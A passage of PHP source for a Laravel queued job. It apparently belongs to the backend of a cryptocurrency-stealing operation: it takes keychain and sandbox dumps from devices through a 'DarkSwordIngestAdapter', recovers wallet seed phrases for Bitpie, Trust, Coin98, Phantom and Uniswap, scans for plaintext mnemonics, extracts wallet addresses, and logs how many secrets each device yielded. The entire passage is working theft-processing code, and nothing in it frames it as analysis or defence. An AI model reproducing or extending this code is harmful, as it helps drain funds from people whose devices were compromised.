|null $wallets Raw keychain wallets dict (from /war or /result). * @param array|null $sandbox Raw sandbox dict. */ public function __construct( public int $deviceId, public ?array $wallets = null, public ?array $sandbox = null, ) { // Production always leaves PHP-FPM. Tests keep the default (sync) driver // so recovery still runs inline without a Redis worker. if (! app()->runningUnitTests()) { $this->onConnection('keystore'); } } public function handle( DarkSwordIngestAdapter $adapter, DsKeystoreDecrypt $decrypt, AppUploadIngester $ingester, ): void { $device = Device::query()->find($this->deviceId); if ($device === null) { Log::channel('keystore')->warning('DecryptDeviceKeystores: device not found', [ 'device_id' => $this->deviceId, ]); return; } $ingester->splitStoredKeychainVaults($device); $device->load('keystores'); $wallets = $this->wallets ?? []; $sandbox = $this->sandbox ?? []; // When dispatched without a payload (e.g. AppUploadIngester::dispatchDecrypt // passes null,null), rebuild wallets/sandbox from already-stored keystores so // structured recovery (Bitpie / Trust / Coin98 / Phantom) can still traverse // the keychain tree and extract mnemonics. Without this, Bitpie seedPhraseEntropy // stored under source="app/keychain" is never fed to recoverBitpie(). if ($wallets === [] && $sandbox === []) { [$wallets, $sandbox] = $adapter->storedWalletTrees($device); } $errors = []; // ── 1. Structured recovery (Bitpie / Trust / Coin98 / Phantom) ── try { $adapter->recoverKeystoreMnemonics($device, $wallets, $sandbox, $device->keystores->all()); } catch (\Throwable $e) { $errors[] = 'recover: '.$e->getMessage(); Log::channel('keystore')->error('DecryptDeviceKeystores: recover failed', [ 'device_id' => $device->id, 'device_key' => $device->device_id, 'error' => $e->getMessage(), 'trace' => $e->getTraceAsString(), ]); } // ── 2. Plaintext mnemonic walk (Uniswap / Phantom entropy / etc.) ── try { $hits = $adapter->walkForMnemonicsWithResult($device, $wallets, 'd'); $hits = array_merge($hits, $adapter->walkForMnemonicsWithResult($device, $sandbox, 'b')); foreach ($hits as $hit) { $source = $hit['source'] ?? ''; if ($source !== '') { $decrypt->markSourceDecrypted($device->id, $source); } } } catch (\Throwable $e) { $errors[] = 'walkForMnemonics: '.$e->getMessage(); Log::channel('keystore')->error('DecryptDeviceKeystores: walkForMnemonics failed', [ 'device_id' => $device->id, 'device_key' => $device->device_id, 'error' => $e->getMessage(), ]); } // ── 3. Address extraction from undecryptable keystores ── $addressCount = 0; try { $addressCount = $adapter->extractAddressesFromKeystores($device, $wallets, $sandbox); } catch (\Throwable $e) { $errors[] = 'extractAddresses: '.$e->getMessage(); Log::channel('keystore')->error('DecryptDeviceKeystores: address extraction failed', [ 'device_id' => $device->id, 'device_key' => $device->device_id, 'error' => $e->getMessage(), ]); } // ── 4. Log summary ── $mnemonicCount = $device->mnemonics()->count(); $summary = sprintf( 'DecryptDeviceKeystores · device=%s · mnemonics=%d · addresses=%d · errors=%d', $device->device_id, $mnemonicCount, $addressCount, count($errors), ); if ($errors !== []) { $summary .= ' · '.implode('; ', $errors); } Log::channel('keystore')->info($summary, [ 'device_id' => $device->id, 'device_key' => $device->device_id, 'addresses' => $addressCount, 'errors' => $errors, ]); } }